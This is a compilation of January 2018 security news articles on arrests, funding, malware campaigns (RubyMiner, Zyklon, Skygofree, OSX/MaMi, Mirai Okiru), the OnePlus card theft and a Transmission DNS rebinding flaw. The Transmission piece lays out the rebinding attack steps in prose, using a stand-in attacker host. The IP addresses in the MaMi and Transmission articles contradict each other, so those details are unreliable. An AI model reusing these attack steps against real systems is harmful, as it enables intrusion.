18.1.2018 securityweek BigBrothers
US authorities said Tuesday they had arrested a former CIA agent, Hong Kong resident Jerry Chun Shing Lee, after discovering he had an unauthorized notebook that had the identities of undercover US spies.
Lee, a naturalized US citizen also known as Zhen Cheng Li, was arrested late Monday after he arrived at JFK International Airport in New York.
The Department of Justice said Lee, 53, grew up in the United States and served in the US Army before joining the Central Intelligence Agency as a case officer in 1994.
He served in unnamed overseas locations and left the agency in 2007, later apparently taking a job in Hong Kong.
In a complaint filed in a New York federal court, the Justice Department said that in 2012, FBI agents with court-ordered warrants secretly searched Lee's luggage while he was travelling in the United States and found he was carrying top secret materials he was not authorized to have.
"Agents found two small books containing handwritten notes that contained classified information, including but not limited to, true names and phone numbers of assets and covert CIA employees, operational notes from asset meetings, operational meeting locations and locations of covert facilities," the Justice Department said.
Lee was charged with unlawful retention of national defense information, a charge that can bring up to 10 years in prison.
Officials did not say why it took so long to bring charges against Lee, or whether he had leaked any materials to foreign countries.
But the case takes place amid concern in the US intelligence community that the Chinese government has been able to cripple their operations in that country.
The New York Times reported last year that starting in 2010, to the end of 2012, the Chinese killed "at least a dozen" sources the CIA had inside China and imprisoned six or more others.
A hunt for a "mole" in the agency led to one person, a "former operative" now living elsewhere in Asia, the Times said. But there was not enough information to arrest him.
But others in the agency blamed sloppy work and not a mole, the Times added.
Asked about the case at a regular press briefing in Beijing Wednesday, Chinese foreign ministry spokesman Lu Kang said: "I'm not aware of the information you've mentioned."
PureSec Emerges From Stealth With Security Product for Serverless Apps
18.1.2018 securityweek BigBrothers
Tel Aviv, Israel-based startup PureSec emerged from stealth mode on Wednesday with a security platform designed for serverless architectures and a guide that describes the top 10 risks for serverless applications.
Founded by Shaked Zin (CEO), Avi Shulman (VP of R&D) and Ory Segal (CTO), PureSec raised $3 million in May 2017 in a seed round led by TLV Partners.
PureSec’s product is powered by the company’s Serverless Security Runtime Environment (SSRE) technology, which provides a trusted and safe environment for serverless functions.
Applications built on serverless architectures do not require an always-on physical or virtual server. Instead, resources are provided dynamically as Backend-as-a-Service (BaaS) and Function-as-a-Service (FaaS) services. Amazon’s AWS Lambda, Microsoft’s Azure Functions, Google Cloud Functions and IBM BlueMix Cloud Functions are the most popular serverless platforms.PureSec launches serverless security product
Using serverless architectures has many advantages, including the fact that developers can focus on product functionality without having to worry about the server side, including when it comes to applying security patches. However, the developer is still responsible for ensuring that the application is resilient to attacks.
PureSec’s product aims to address this by providing runtime protection via two layers: a firewall and a behavioral engine.
“The first layer, the Serverless Function Firewall, makes sure that input going into the function is safe for usage as event input. It can detect application layer attacks that are relevant for serverless architectures - like NoSQL Injections, SQL Injections, XSS, Local File Inclusion, Runtime Code Injections, etc. It is working on the event-data for the function (the arguments), so it is protocol agnostic and can handle any kind of event triggers (it's not limited to HTTP),” Segal told SecurityWeek.
“Once the function starts executing, our behavioral detection engine monitors ‘operations’ and ‘interactions’ performed by the function in real-time, making sure that only good behaviors are performed. Our research team spent time modeling good behavior, as well as malicious behavior, and we can detect attempts to subvert function logic, attempt to access files in an unauthorized way, attempts to download malware or execute it, or leak data. This is purely behavioral and does not rely on signatures, in order to provide 0-day protection. It's basically positive security applied to function behaviors,” he added.
PureSec’s product, currently available in pre-Beta, has already been tested by various organizations, including a very large US retail company, several global ad tech firms, and some US-based cloud technology firms. Some large US-based companies migrating systems to AWS Lambda may be signed up soon.
The company could not provide any information on pricing and general availability.
Top 10 risks for serverless applications
PureSec has also published a guide describing the top 10 risks for applications built on serverless architectures. The guide, designed for both security and development teams, provides mitigations, best practices, and comparisons to traditional applications.
Inspired by the OWASP Top 10, the document covers issues such as function event data injection, broken authentication, insecure deployment configuration, over-privileged function permissions and roles, inadequate function monitoring and logging, insecure third-party dependencies, insecure application secrets storage, denial-of-service and financial resource exhaustion, serverless function execution flow manipulation, and improper exception handling and verbose error messages.
A study conducted by the company showed that the adoption of serverless architectures has seen exponential growth, but there is a significant gap in knowledge of serverless security.
Threat Intelligence Tech Firm Anomali Raises $40 Million
18.1.2018 securityweek IT
Anomali, a security technology firm that offers a SaaS-based threat intelligence platform, today announced that it has raised $40 million in series D funding.
The additional funding brings the total amount raised to-date by the company to $96 million.
According to the company, the investment will help accelerate its growth globally and continue product development.
Formerly known as ThreatStream, the company rebranded itself as Anomali in February 2016.
Headquartered in Redwood City, Calif., the company is led by ArcSight co-founder Hugh Njemanze, who took the role as CEO in July 2014. Njemanze co-founded ArcSight in May 2000 and led product development, information technology deployment and product research leading up to HP’s acquisition of ArcSight for $1.75 billion in 2010.
The Series D round was led by Lumia Capital, with Deutsche Telekom Capital Partners (DTCP), Telstra and Sozo Ventures also participating in the round along with returning investors GV, General Catalyst, IVP and Paladin Capital Group.
Crypto-Mining Attack Targets Web Servers Globally
18.1.2018 securityweek Attack
A new malware family is targeting web servers worldwide in an attempt to ensnare them into a crypto-mining botnet, security researchers have discovered.
Dubbed RubyMiner, the threat was discovered last week, when it started launching massive attacks on web servers in the United States, Germany, United Kingdom, Norway, and Sweden. Within a single day, the attackers behind this malware attempted to compromise nearly one third of networks globally, Check Point revealed last week.
The purpose of the attack, which is targeting both Windows and Linux servers, is to install a Monero miner by exploiting old vulnerabilities that have been published and patched in 2012 and 2013. The attackers weren’t looking for stealth compromise, but attempted to compromise a large number of vulnerable HTTP web servers as quickly as possible.
The infection campaign is targeting vulnerabilities in PHP, Microsoft IIS, and Ruby on Rails. Despite the large number of compromise attempts observed, only 700 servers worldwide have been successfully enslaved within the first 24 hours of attacks.
The attack on Ruby on Rails attempts to exploit CVE-2013-0156, a remote code execution vulnerability. A base64 encoded payload is delivered inside a POST request, expecting the Ruby interpreter on the server to execute it.
The payload is a bash script designed to add a cronjob that runs every hour and downloads a robots.txt file containing a shell script, designed to fetch and execute the crypto-miner, but not before checking whether it is already active on the host. Not only the mining process, but the entire download and execution operation runs every hour.
“This is possibly to allow the attacker to initiate an immediate kill switch for the miner bot. If the attacker would like to end the process on the infected machines, all that needs to be done is modify the robots.txt file on the compromised webserver to be inactive. Within a minute, all the machines re-downloading the file will be receiving files without the crypto miners,” Check Point notes.
The deployed malware – on all infected servers – is XMRig, a Monero miner that was used in September 2017 in an attack exploiting a vulnerability in Microsoft IIS 6.0, the webserver in Windows Server 2003 R2.
One of the domains used in the newly observed infection campaign is lochjol.com, which was previously used in an attack in 2013. That attack abused the Ruby on Rails vulnerability as well, and also had some features common with the current incident, but the researchers couldn’t determine further connections between the two, especially with their purpose seemingly different.
Threat Actors Quickly Adopt Effective Exploits
18.1.2018 securityweek Exploit
Cybercriminals and nation state groups were quick to adopt the most effective exploits last year, a new AlienVault report reveals.
Not only do the most effective exploits proliferate quickly between cybercriminals, but some of them remain popular for years after their initial discovery.
The top 10 list of exploits – by number of occurrences in vendor reports – is dominated by Microsoft Office and Microsoft Windows, data from AlienVault’s Open Threat Exchange (OTX) platform reveals. Adobe Flash, Microsoft .NET, and Android/Linux were also present on the list, with one exploit each.
The exploit to appear most often in vendor reports last year was CVE-2017-0199, a code execution bug affecting Microsoft Office. Detailed in April 2017, when it was already being abused in attacks, the vulnerability started being adopted almost immediately, and the trend continued toward the end of the year as well.
The popularity of this exploit continued to grow even after Microsoft released a patch. Originally abused with malicious Rich Text File (RTF) documents, the flaw was leveraged with PowerPoint Slide Show files by August, and threat actors continued to use it in this manner in the following months as well.
Some attackers combined multiple exploits to avoid detection, using CVE-2017-0199 together with CVE-2012-0158, an old Office flaw that is still exploited in many campaigns and which made it to the third position on AlienVault’s top 10 exploits for last year.
The second place went to CVE-2015-1641, an exploit that was already highly popular one year after it became public. Actors exploiting the vulnerability include the Patchwork cyberespionage group and cybercriminals located in Nigeria.
In addition to CVE-2017-0199, three other exploits discovered in 2017 were among the most reported by vendors, namely CVE-2017-0144, CVE-2017-0262, and CVE-2017-8759. A .NET zero-day, CVE-2017-8759 was patched in September, after it was abused to deliver the FinFisher malware to Russian-speaking individuals.
The only exploit targeting operating systems other than Windows that made it to AlienVault’s top 10 list is CVE-2013-6282, targeting a bug leveraged by Android malware to escalate privileges once installed on a victim’s phone.
A Windows 2000 flaw reported in 2001 was encountered the most by AlienVault’s customers, the company reports. Two vulnerabilities from 2017 made it to the top 10 list of exploits seen the most, namely CVE-2017-0144 and CVE-2017-5638 (an Apache Struts bug).
“This data-set is very large, and consists of many billions of security events. However the data is heavily biased towards “noisy” network based exploit attempts from worms and exploit scanners. This explains why we’re still recording ancient vulnerabilities from 2001 in this table,” AlienVault points out.
Briton Pleads Guilty to Running Malware Services
18.1.2018 securityweek Virus
Goncalo Esteves, a 24-year-old man from the United Kingdom, has pleaded guilty to charges related to creating and running services designed to help cybercriminals develop malware that would not be detected by antivirus products.
One of Esteves’ services was a website called reFUD.me. Created in February 2015, the site allowed cybercriminals to learn if their malware samples would be detected by antiviruses from various vendors. When it was shut down several months later, the service claimed that it had been used to conduct 1.2 million scans.
The man, known online as KillaMuvz also created Cryptex, a tool that allowed malware developers to encrypt their files in an effort to make them more difficult to detect. Cryptex had been available since October 2011, but it had been improved over time.
Use of the reFUD and Cryptex tools was not free. For example, users had to pay $8 per month for the lite version of Cryptex or $90 for a lifetime license for Cryptex Reborn, which experts described as highly sophisticated.
Esteves and a woman were arrested in November 2015 as a result of an investigation conducted by Trend Micro and the UK’s National Crime Agency (NCA). Both services were shut down around the time of their arrest.
A local news site reported in March 2017 that Esteves had pleaded not guilty to four charges of computer misuse and one charge of obtaining money under the Proceeds of Crime Act 2002. The man insisted at the time that his software was designed for legitimate use.
However, the NCA announced this week that Esteves has pleaded guilty to two computer misuse charges and one count of money laundering. He will be sentenced on February 12.
Authorities said Esteves received roughly £32,000 ($44,000) for his services between 2011 and 2015. However, this only represents payments made through PayPal; the actual profit is likely much higher since he also accepted payment in bitcoins and Amazon vouchers.
Zyklon Malware Delivered via Recent Office Flaws
18.1.2018 securityweek Vulnerebility
A piece of malware known as Zyklon has been delivered by cybercriminals using some relatively new vulnerabilities in Microsoft Office, FireEye reported on Wednesday.
Zyklon has been around since early 2016 and it allows attackers to conduct a wide range of malicious activities, including launch distributed denial-of-service (DDoS) attacks, log keystrokes, steal passwords, and mine cryptocurrency.
A recent campaign observed by FireEye has been aimed at organizations in the telecommunications, insurance and financial services sectors. The malware has been delivered as a ZIP archive attached to spam emails.
The ZIP file contains a specially crafted Word document that exploits one of three weaknesses in Microsoft Office to deliver a PowerShell script that downloads the final Zyklon payload from a remote server.
One of the vulnerabilities exploited by the malicious documents is CVE-2017-8759, a flaw patched by Microsoft in September 2017 after FireEye noticed that it had been exploited to deliver spyware. The security hole was later used by China-linked cyberspies to target organizations in the United States.
Another flaw exploited to deliver Zyklon is CVE-2017-11882, a 17-year-old vulnerability in the Equation Editor component that Microsoft patched in November. CVE-2017-11882 has been leveraged by Iranian cyberspies, the Cobalt hacking group, and others.
Cybercriminals have also abused the Dynamic Data Exchange (DDE) feature in Office to spread the malware. Russia-linked cyberspies and many other threat actors have abused DDE to deliver malware, which ultimately led to Microsoft disabling the feature in all versions of Word in an effort to prevent attacks.
If the malicious documents successfully exploit one of these weaknesses, they download a PowerShell script that injects code and fetches the final payload from a server.
The malware uses the Tor network to communicate with its command and control (C&C) server. Once a connection has been established, the attacker can instruct the malware to provide information about the infected system, launch DDoS attacks, mine cryptocurrency, and upload harvested data.
In addition to built-in functionality, Zyklon has several plugins that can be loaded for additional features. The plugins allow attackers to steal passwords from popular web browsers, FTP and email passwords, keys associated with video games, and software license keys.
The malware can also establish a Socks5 proxy on the infected machine, and it can hijack the clipboard in order to replace Bitcoin addresses copied by the victim with addresses owned by the attacker.
Researchers Earn $100,000 for Hacking Pixel Phone
18.1.2018 securityweek Vulnerebility
A team of researchers has earned more than $100,000 from Google for an Android exploit chain that can be used to hack the company’s Pixel phone remotely simply by getting the targeted user to access a malicious website.
Google’s Pixel phone was the only device that was not hacked at last year’s Mobile Pwn2Own competition. However, researcher Guang Gong of Chinese security firm Qihoo 360 and his team did manage to find a couple of vulnerabilities that can be chained for a remote code injection exploit that works against Pixel and other Android smartphones.
The second vulnerability affects Android's libgralloc module and it can be exploited to escape the Chrome sandbox. This privilege escalation flaw was patched by Google in December with its monthly Android updates.
Combining the two vulnerabilities allows an attacker to inject arbitrary code into the system_server process by getting the targeted user to access a malicious URL in Chrome.
Gong and his team earned $105,000 for the exploit chain through the Android Security Rewards (ASR) program, and an additional $7,500 through the Chrome bug bounty program. This is the highest reward in the history of the ASR program, which is not surprising considering that it has been paid out for the first remote exploit chain since the ASR program was expanded last summer.
Google announced at the time that rewards for remote exploit chains or exploits leading to TrustZone or Verified Boot compromise increased to $200,000, and bounties for remote kernel exploits increased to $150,000.
Gong has published a guest post on Google’s security and Android developers blogs detailing both vulnerabilities and how the exploit chain works.
Cisco Patches Flaws in Email Security, Other Products
18.1.2018 securityweek Vulnerebility
Cisco has patched several high severity vulnerabilities, including ones that allow privilege escalation and denial-of-service (DoS) attacks, in its Unified Customer Voice Portal (CVP), Email Security, and NX-OS products.
Software updates released by the company for its Email Security product address a privilege escalation vulnerability (CVE-2018-0095) that allows a local attacker with guest user permissions to gain root access.
The flaw affects the administrative shell of the Email Security Appliance (ESA) and the Content Security Management Appliance (SMA), and it’s caused by an incorrect networking configuration.
“An attacker could exploit this vulnerability by authenticating to the targeted device and issuing a set of crafted, malicious commands at the administrative shell. An exploit could allow the attacker to gain root access on the device,” Cisco said.
A different high severity vulnerability (CVE-2018-0086) was patched by Cisco in its CVP product. The security hole allows a remote, unauthenticated attacker to cause a DoS condition on the device by sending specially crafted SIP invite traffic to the targeted appliance.
A high severity DoS bug (CVE-2018-0102) has also been patched in the NX-OS network operating system. An unauthenticated attacker with access to the network can leverage the flaw to cause vulnerable devices to reload.
“An attacker could exploit this vulnerability by sending a pong request to an affected device from a location on the network that causes the pong reply packet to egress both a FabricPath port and a non-FabricPath port. An exploit could allow the attacker to cause a dual or quad supervisor virtual port-channel (vPC) to reload,” Cisco said in its advisory.
Cisco has also informed customers of two other vulnerabilities affecting NX-OS, including a DoS and a user account deletion issue, but these have been classified as medium severity and they have yet to be patched.
All of these vulnerabilities have been discovered by Cisco itself and there is no evidence of exploitation for malicious purposes.
Cisco released more than 20 advisories on Wednesday, but a majority describe medium severity flaws for which the company has yet to release any patches.
Google Brings Security Analytics to G Suite
18.1.2018 securityweek Security
Google this week announced security center for G Suite, a tool that brings together security analytics, actionable insights, and best practice recommendations from Google.
The new tool provides a snapshot of important security metrics in one place, including information on suspicious device activity. The security center can be used to gain visibility into how spam and malware are targeting users within an organization, as well as to access metrics to demonstrate security effectiveness.
Security analytics functions help security teams take advantage of insights into which users are being targeted by phishing, allowing them to prevent potential attacks. The security center also displays information on when Google Drive files trigger DLP rules, thus enabling admins to avoid data exfiltration.
Security recommendations, which are based on the analysis of organization’s current security posture, are also available to admins through Security health. Tailored to the organization’s specific needs, these recommendations cover issues such as data storage, file sharing, and mobility and communications settings.
The Security health section also includes information on the number of organizational units for which a setting is enabled or disabled, and details on organizational units with risky configurations. This is where admins can monitor settings for Gmail, Google Drive, and devices, as well as whether two-step verification has been enabled for both users and admins.
Google is making the new features available to G Suite Enterprise customers within the Admin console, which should automatically appear to all qualifying customers within the next few days.
To get started, admins should sign in to their Google Admin console, then click Security, and access Dashboard for an overview of security metrics like spam volume, email authentication, and Drive sharing. By selecting Security health, they can get information on how security settings are configured for the domain and can receive suggestions based on best practices.
Skygofree — Powerful Android Spyware Discovered
17.1.2018 thehackernews Android
Security researchers have unveiled one of the most powerful and highly advanced Android spyware tools that give hackers full control of infected devices remotely.
Dubbed Skygofree, the Android spyware has been designed for targeted surveillance, and it is believed to have been targeting a large number of users for the past four years.
Since 2014, the Skygofree implant has gained several novel features previously unseen in the wild, according to a new report published by Russian cybersecurity firm Kaspersky Labs.
The 'remarkable new features' include location-based audio recording using device's microphone, the use of Android Accessibility Services to steal WhatsApp messages, and the ability to connect infected devices to malicious Wi-Fi networks controlled by attackers.
Skygofree is being distributed through fake web pages mimicking leading mobile network operators, most of which have been registered by the attackers since 2015—the year when the distribution campaign was most active, according to Kaspersky's telemetry data.
Italian IT Firm Behind Skygofree Spyware?
Researchers at Kaspersky Lab believe the hacker or hacking group behind this mobile surveillance tool has been active since 2014 and are based in Italy—the home for the infamous 'Hacking Team'—one of the world's bigger players in spyware trading.
"Given the many artifacts we discovered in the malware code, as well as infrastructure analysis, we are pretty confident that the developer of the Skygofree implants is an Italian IT company that works on surveillance solutions, just like HackingTeam," said the report.
Kaspersky found several Italian devices infected with Skygofree, which the firm described as one of the most powerful, advanced mobile implants it has ever seen.
Although the security firm has not confirmed the name of the Italian company behind this spyware, it found multiple references to Rome-based technology company "Negg" in the spyware's code. Negg is also specialised in developing and trading legal hacking tools.
Skygofree: Powerful Android Spyware Tool
Once installed, Skygofree hides its icon and starts background services to conceal further actions from the user. It also includes a self-protection feature, preventing services from being killed.
As of October last year, Skygofree became a sophisticated multi-stage spyware tool that gives attackers full remote control of the infected device using a reverse shell payload and a command and control (C&C) server architecture.
According to the technical details published by researchers, Skygofree includes multiple exploits to escalate privileges for root access, granting it ability to execute most sophisticated payloads on the infected Android devices.
One such payload allows the implant to execute shellcode and steal data belonging to other applications installed on the targeted devices, including Facebook, WhatsApp, Line, and Viber.
"There are multiple, exceptional capabilities: usage of multiple exploits for gaining root privileges, a complex payload structure, [and] never-before-seen surveillance features," the researchers said.
Skygofree’s control (C&C) server also allows attackers to capture pictures and videos remotely, seize call records and SMS, as well as monitor the users' geolocation, calendar events and any information stored in the device's memory.
Besides this, Skygofree also can record audio via the microphone when the infected device was in a specified location and the ability to force the infected device to connect to compromised Wi-Fi networks controlled by the attacker, enabling man-in-the-middle attacks.
The spyware uses "the Android Accessibility Service to get information directly from the displayed elements on the screen, so it waits for the targeted application to be launched and then parses all nodes to find text messages," Kaspersky said.
Kaspersky researchers also found a variant of Skygofree targeting Windows users, suggesting the authors' next area of interest is the Windows platform.
The best way to prevent yourself from being a victim is to avoid downloading apps via third-party websites, app stores or links provided in SMS messages or emails.
Warning: New Undetectable DNS Hijacking Malware Targeting Apple macOS Users
17.1.2018 thehackernews Apple
A security researcher has revealed details of a new piece of undetectable malware targeting Apple's Mac computers—reportedly first macOS malware of 2018.
Dubbed OSX/MaMi, an unsigned Mach-O 64-bit executable, the malware is somewhat similar to DNSChanger malware that infected millions of computers across the world in 2012.
DNSChanger malware typically changes DNS server settings on infected computers, allowing attackers to route internet traffic through malicious servers and intercept sensitive information.
First appeared on the Malwarebytes forum, a user posted a query regarding unknown malware that infected his friend's computer that silently changed DNS settings on infected macOS to 184.108.40.206 and 220.127.116.11 addresses.
After looking at the post, ex-NSA hacker Patrick Wardle analysed the malware and found that it is indeed a 'DNS Hijacker,' which also invokes security tools to install a new root certificate in an attempt to intercept encrypted communications as well.
"OSX/MaMi isn't particularly advanced - but does alter infected systems in rather nasty and persistent ways," Patrick said.
"By installing a new root certificate and hijacking the DNS servers, the attackers can perform a variety of nefarious actions such as man-in-the-middle'ing traffic (perhaps to steal credentials, or inject ads)" or to insert cryptocurrency mining scripts into web pages.
Besides this, the OSX/MaMi macOS malware, which appears to be in its initial stage, also includes below-mentioned abilities, most of which are not currently activated in its version 1.1.0:
Generate simulated mouse events
Perhaps persist as a launch item
Download and upload files
The motive, author(s) behind the malware, and how it is spreading are currently unknown.
However, Patrick believes that the attackers could be using lame methods like malicious emails, web-based fake security alerts/popups, or social-engineering type attacks to target Mac users.
To check if your Mac computer is infected with MaMi malware, go to the terminal via the System Preferences app and check for your DNS settings—particularly look for 18.104.22.168 and 22.214.171.124.
According to VirusTotal, a multi-engine antivirus scanner, none of 59 popular antivirus software is detecting this malware at this moment, so you are advised to use a 3rd-party tool such as a firewall that can detect and block outgoing traffic.
You can also install a free open-source firewall for macOS named 'LuLu,' created by Patrick and available at GitHub, which blocks suspicious traffic and prevents OSX/MaMi's from stealing your data.
Fourth Fappening Hacker Admits to Stealing Celebrity Pics From iCloud Accounts
17.1.2018 thehackernews Apple
Almost three years after the massive leakage of high-profile celebrities' nude photos—well known as "The Fappening" or "Celebgate" scandal—a fourth hacker has been charged with hacking into over 250 Apple iCloud accounts belonged to Hollywood celebrities.
A federal court has accused George Garofano, 26, of North Branford, of violating the Computer Fraud and Abuse Act, who had been arrested by the FBI.
Garofano has admitted to illegally obtaining credentials for his victims' iCloud accounts using a phishing scheme, which eventually allowed him to steal personal information on his victims, including sensitive and private photographs and videos.
Among celebrities whose nude photographs were posted online back in 2014 are Jennifer Lawrence, Kim Kardashian, Kirsten Dunst, and Kate Upton. Also, female victims also include American Olympic gold medallist Misty May Treanor and actors Alexandra Chando, Kelli Garner and Lauren O’Neil.
Between April 2013 to October 2014, Garofano engaged in sending phishing emails pretended to be from Apple security team to several celebrities, tricking them into providing their iCloud account credentials, which they stole to access their accounts illegally.
"Garofano admitted that he sent emails to victims that appeared to be from security accounts of Apple and encouraged the victims to send him their usernames and passwords, or to enter them on a third-party website, where he would later retrieve them," the Justice Department said.
Besides stealing victims' personal information, including sensitive and private photographs and videos, from their iCloud accounts using stolen credentials, Garofano, in some instances, also traded the stolen credentials, along with the materials he stole from the victims' accounts, with other individuals.
In a plea agreement signed Thursday in U.S. District Court in Los Angeles, Garofano agreed to plead guilty to one count of unauthorised access to a protected computer to obtain information, facing up to 5 years in prison.
Garofano is the fourth hacker charged in connection with the Celebgate incident. Emilio Herrera, 32, Edward Majerczyk, 28, and Ryan Collins, 36, pleaded guilty last year to being involved in the celebrity photo hack.
While Herrera is waiting for sentencing next month, Majerczyk was sentenced to nine months in prison and Collins was sentenced to 18 months last year.
The investigation into the Celebgate scandal is being conducted by the U.S. Federal Bureau of Investigation.
New Mirai Okiru Botnet targets devices running widely-used ARC Processors
17.1.2018 thehackernews BotNet
The cybersecurity threat landscape has never been more extensive and is most likely to grow exponentially in 2018.
Although the original creators of Mirai DDoS botnet have already been arrested and jailed, the variants of the infamous IoT malware are still in the game due to the availability of its source code on the Internet.
Security researchers have spotted a new variant of infamous Mirai IoT malware designed to hijack insecure devices that run on ARC embedded processors.
Until now, Mirai and its variants have been targeting CPU architectures—including x86, ARM, Sparc, MIPS, PowerPC and Motorola 6800—deployed in millions of Internet of Things (IoT) devices.
Dubbed Okiru, the new Mirai variant, first spotted by @unixfreaxjp from MalwareMustDie team and notified by independent researcher Odisseus, is a new piece of ELF malware that targets ARC-based embedded devices running Linux operating system.
"This is the FIRST TIME ever in the history of computer engineering that there is a malware for ARC CPU, & it is #MIRAI OKIRU!! Pls be noted of this fact, & be ready for the bigger impact on infection Mirai (specially #Okiru) to devices hasn't been infected yet," Odisseus tweeted.
ARC (Argonaut RISC Core) embedded processor is the world's second-most-popular CPU core that's being shipped in more than 2 billion products every year, including cameras, mobile, utility meters, televisions, flash drives, automotive and the Internet of Things.
However, this isn't first Mirai botnet variant based on Linux ELF malware. Mirai also has another ELF-based variant, which was designed to target devices running MIPS and ARM processors.
It should also be noted that Okiru, which has previously been also named as Satori IoT botnet (another Mirai variant discovered late last year), is "very different" from Satori despite having several similar characteristics, as explained in a Reddit thread.
Record-Breaking DDoS? The Calm Before The Storm
IoTs are currently being deployed in a large variety of devices throughout your home, businesses, hospitals, and even cities (smart cities), but they're routinely being hacked and used as cyber weapons due to lack of stringent security measures and insecure encryption mechanisms.
If you are unaware, the world's largest 1 Tbps DDoS attack so far was launched from just 152,000 infected IoT devices using Mirai botnet, and in a separate attack, just 100,000 devices took down the popular DynDNS service in late 2016.
Since Okiru has been ported to target a new range of millions of "expectedly insecure" devices running ARC processors, the DDoS attack going to be generated by Okiru botnet would probably be the biggest cyberattack ever.
"From this day, the landscape of #Linux #IoT infection will change. #ARC CPU has produced #IoT devices more than 1 billion per year. So these devices are what the hackers want to aim to infect #ELF #malware with their #DDoS cannons. It's a serious threat will be," Odisseus tweeted.
The fresh arrival of ARC-based IoT devices into botnet scheme will exponentially raise the number of insecure devices to an unprecedented size, making it easy for hackers to gain control over a large number of poorly configured and vulnerable IoT devices.
OnePlus Site’s Payment System Reportedly Hacked to Steal Credit Card Details
17.1.2018 thehackernews CyberCrime
This year's first bad news for OnePlus users—a large number of OnePlus customers are reporting of fraudulent credit card transactions after buying products from the Chinese smartphone manufacturer's official online store.
The claim initially surfaced on the OnePlus support forum over the weekend from a customer who said that two of his credit cards used on the company's official website was suspected of fraudulent activities.
"The only place that both of those credit cards had been used in the last 6 months was on the Oneplus website," the customer wrote.
Later a good number of users posted similar complaints on OnePlus, Twitter and Reddit forums, saying they also became a victim of credit card fraud.
Many of the customers claimed that their credit cards had been compromised after they bought a new phone or some accessories directly from the OnePlus official website, indicating that the leak might have been through the company itself.
Cybersecurity firm Fidus also published a blog post detailing the alleged issue with the OnePlus website's on-site payment system. The firm suspected that the servers of the OnePlus website might have been compromised.
According to Fidus, OnePlus is currently conducting the transactions itself on-site, which means that all billing information along with all credit card details entered by its customers flow through the OnePlus official website and can be intercepted by attackers.
"Whilst the payment details are sent off to a third-party provider upon form submission, there is a window in which malicious code is able to siphon credit card details before the data is encrypted," Fidus wrote.
Fidus went on to clarify that their findings did not in any way confirm that the OnePlus website was breached; instead, they suggested the attacks might have come from the Magento eCommerce platform—which is used by OnePlus and is "a common platform in which credit card hacking takes place."
OnePlus has quickly responded to the issue on its forum, confirming that it does not store any credit card information on its website and all payment transactions are carried out through its PCI-DSS-compliant payment processing partner.
Only credit card-related information of users who have enabled the "save this card for future transactions" feature is stored on OnePlus' official servers, but even they are secured with a token mechanism.
"Our website is HTTPS encrypted, so it's very difficult to intercept traffic and inject malicious code, however we are conducting a complete audit," a company's staffer using the name 'Mingyu' wrote.
The Chinese smartphone maker also confirms that purchases involving third-party services like PayPal are not affected.
OnePlus does not reveal much information on the incident but confirms that its official website is not affected by any Magento vulnerability.
The company confirms that oneplus.net was indeed built on the Magento eCommerce, but said since 2014, it has entirely been re-built using custom code, adding that "credit card payments were never implemented in Magento's payment module at all."
There are almost 100 claims of fraudulent credit card transactions on the OnePlus support forums. OnePlus announces a formal investigation into the matter, and advises affected users to contact their bank to reverse the payment.
Flaw in Popular Transmission BitTorrent Client Lets Hackers Control Your PC Remotely
17.1.2018 thehackernews Virus
A critical vulnerability has been discovered in the widely used Transmission BitTorrent app that could allow hackers to remotely execute malicious code on BitTorrent users' computers and take control of them.
The vulnerability has been uncovered by Google's Project Zero vulnerability reporting team, and one of its researchers Tavis Ormandy has also posted a proof-of-concept attack—just 40 days after the initial report.
Usually, Project Zero team discloses vulnerabilities either after 90 days of reporting them to the affected vendors or until the vendor has released a patch.
However, in this case, the Project Zero researchers disclosed the vulnerability 50 days prior to the actual time limit because Transmission developers failed to apply a ready-made patch provided by the researchers over a month ago.
"I'm finding it frustrating that the transmission developers are not responding on their private security list, I suggested moving this into the open so that distributions can apply the patch independently. I suspect they won't reply, but let's see," Ormandy said in a public report published Tuesday.
Proof-of-Concept Exploit Made Publicly Available
The PoC attack published by Ormandy exploits a specific Transmission function that lets users control the BitTorrent app with their web browser.
Ormandy confirmed his exploit works on Chrome and Firefox on Windows and Linux (Fedora and Ubuntu) and believes that other browsers and platforms are also vulnerable to the attack.
Transmission BitTorrent app works on server-client architecture, where users have to install a daemon service on their systems in order to access a web-based interface on their browsers locally.
The daemon installed on the user system then interacts with the server for downloading and uploading files through the browser using JSON RPC requests.
Ormandy found that a hacking technique called the "domain name system rebinding" attack could successfully exploit this implementation, allowing any malicious website that user visits to execute malicious code on user's computer remotely with the help of installed daemon service.
Here's How the Attack Works:
The loophole resides in the fact that services installed on localhost can be manipulated to interact with third-party websites.
"I regularly encounter users who do not accept that websites can access services on localhost or their intranet," Ormandy wrote in a separate post, which includes the patch.
"These users understand that services bound to localhost are only accessible to software running on the local machine and that their browser is running on the local machine—but somehow believe that accessing a website "transfers" execution somewhere else. It does not work like that, but this is a common source of confusion."
Attackers can exploit this loophole by simply creating a DNS name they're authorized to communicate with and then making it resolve to the vulnerable computer's localhost name. Here's how the attack works:
A user visits malicious site (http://attacker.com), which has an iframe to a subdomain controlled by the attacker.
The attacker configures their DNS server to respond alternately with 127.0.0.1 and 126.96.36.199 (an address controlled by the attacker) with a very low TTL.
When the browser resolves to 188.8.131.52, it serves HTML that waits for the DNS entry to expire (or force it to terminate by flooding the cache with lookups), then it has permission to read and set headers.
Ormandy said the vulnerability (CVE-2018-5702) was the "first of a few remote code execution flaws in various popular torrent clients," though he did not name the other torrent apps due to the 90-day disclosure timeline.
A fix is expected to be released as soon as possible, a development official with Transmission told ArsTechnica, without specifying an actual date.
LeakedSource Founder Arrested for Selling 3 Billion Stolen Credentials
17.1.2018 thehackernews CyberCrime
Canadian authorities have arrested and charged an Ontario man for operating a website that collected 'stolen' personal identity records and credentials from some three billion online accounts and sold them for profit.
According to the Royal Canadian Mounted Police (RCMP), the 27-year-old Jordan Evan Bloom of Thornhill is the person behind the notorious LeakedSource.com—a major repository that compiled public data breaches and sold access to the data, including plaintext passwords.
Launched in late 2015, LeakedSource had collected around 3 billion personal identity records and associated passwords from some of the massive data breaches, including LinkedIn, VK.com, Last.Fm, Ashley Madison, MySpace, Twitter, Weebly and Foursquare, and made them accessible and searchable to anyone for a fee.
LeakedSource was shut down, and its associated social media accounts have been suspended after the law enforcement raided its operator earlier last year.
However, another website with the same domain name hosted by servers in Russia is still in operation.
Bloom is accused of operating the notorious website and claimed to have earned nearly US$200,000 by selling stolen personal identity records and associated passwords for a "small fee" via his site.
Appeared in a Toronto court on Monday, January 15, Bloom charged with trafficking in identity information, mischief to data, unauthorised use of a computer, and possession of property obtained by crime, the RCMP said.
"This investigation is related to claims about a website operator alleged to have made hundreds of thousands of dollars selling personal information," the RCMP Cybercrime Investigative Team said in a statement.
